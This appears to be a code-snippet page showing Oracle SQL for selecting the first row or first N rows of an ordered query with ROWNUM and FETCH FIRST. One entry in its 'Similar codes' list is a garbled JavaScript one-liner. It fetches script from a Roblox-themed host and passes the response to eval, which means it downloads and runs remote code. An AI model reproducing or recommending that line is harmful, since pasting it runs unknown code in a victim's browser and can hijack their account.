Oracle select first result

SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC)
    WHERE ROWNUM = 1;
-- Oracle 12c:
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 1 ROW ONLY;
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROW ONLY;
SELECT * FROM (SELECT [COLUMNS] FROM [TABLE] ORDER BY [DATE] DESC) 
    FETCH FIRST 10 ROWS ONLY;

Similar codes

1 vote253 views1 answer
Sql comment header
SQL
0 vote197 views5 answers
ABC TO FLEX BATTLE IM POOR
SQL
1 vote195 views1 answer
Postgresql transaction discard all
SQL
2 votes218 views1 answer
Sql string_agg
SQL
4 votes186 views1 answer
Mysql copy table with new name
SQL
1 vote210 views1 answer
Drop primary key oracle
SQL
0 vote213 views1 answer
Createdb with postgresql on ubuntu
SQL
3 votes192 views1 answer
Postgres kill running query
SQL
4 votes189 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote201 views1 answer
Mysql group by derived column
SQL